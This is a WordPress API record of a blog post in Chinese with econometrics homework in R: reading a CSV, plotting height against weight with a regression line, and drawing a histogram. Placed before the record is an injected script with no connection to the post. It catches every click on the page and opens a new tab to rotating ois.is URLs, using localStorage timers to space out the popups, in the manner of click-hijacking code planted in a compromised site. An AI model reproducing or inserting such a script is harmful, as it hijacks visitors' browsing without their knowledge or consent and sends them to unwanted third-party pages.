<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":929,"date":"2022-09-15T15:56:49","date_gmt":"2022-09-15T07:56:49","guid":{"rendered":"https:\/\/edu.secda.info\/scu11354013\/?p=929"},"modified":"2023-10-16T21:41:53","modified_gmt":"2023-10-16T13:41:53","slug":"220915-%e8%a8%88%e9%87%8f%e7%b6%93%e6%bf%9f%e5%ad%b8_%e4%bd%9c%e6%a5%ad","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/scu11354013\/?p=929","title":{"rendered":"220915 \u8a08\u91cf\u7d93\u6fdf\u5b78_\u4f5c\u696d"},"content":{"rendered":"<p>#\u5f9eEXCEL\u8b80\u53d6\u8cc7\u6599<\/p>\n<p>A &lt;- read.csv(file=&#8217;a.csv&#8217;)<br \/>\nA #A\u662fR\u88e1\u9762\u7684\u8cc7\u6599\u96c6<\/p>\n<p>B=A[,3:4]<br \/>\nplot(B,main=&#8217;\u6563\u4f48\u5716+\u56de\u6b78\u7dda&#8217;,xlab=&#8217;\u8eab\u9ad8&#8217;,ylab=&#8217;\u9ad4\u91cd&#8217;,col=&#8217;blue&#8217;,cex=1,pch=20) #col\u984f\u8272#cex\u5927\u5c0f#pch\u5f62\u72c0<br \/>\nattach(B)<br \/>\nabline(lm(Y~X),col=2,lwd=6)<\/p>\n<p>windows() #\u958b\u555f\u4e00\u500b\u65b0\u7684\u8996\u7a97<br \/>\nhist(Y,breaks=50,col=10) #hist\u76f4\u65b9\u5716<\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-full wp-image-931\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/09\/a.hist_.png\" alt=\"\" width=\"673\" height=\"672\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/09\/a.hist_.png 673w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/09\/a.hist_-300x300.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/09\/a.hist_-150x150.png 150w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/09\/a.hist_-270x270.png 270w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/09\/a.hist_-230x230.png 230w\" sizes=\"(max-width: 673px) 100vw, 673px\" \/> <img loading=\"lazy\" class=\"alignnone size-full wp-image-932\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/09\/a.\u6563\u4f48\u5716.png\" alt=\"\" width=\"673\" height=\"672\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/09\/a.\u6563\u4f48\u5716.png 673w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/09\/a.\u6563\u4f48\u5716-300x300.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/09\/a.\u6563\u4f48\u5716-150x150.png 150w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/09\/a.\u6563\u4f48\u5716-270x270.png 270w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2022\/09\/a.\u6563\u4f48\u5716-230x230.png 230w\" sizes=\"(max-width: 673px) 100vw, 673px\" \/><\/p>\n","protected":false},"excerpt":{"rendered":"<p>#\u5f9eEXCEL\u8b80\u53d6\u8cc7\u6599 A &lt;- read.csv(file=&#038;#8217<\/p>\n","protected":false},"author":15,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts\/929"}],"collection":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/users\/15"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=929"}],"version-history":[{"count":1,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts\/929\/revisions"}],"predecessor-version":[{"id":933,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts\/929\/revisions\/933"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=929"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=929"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=929"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}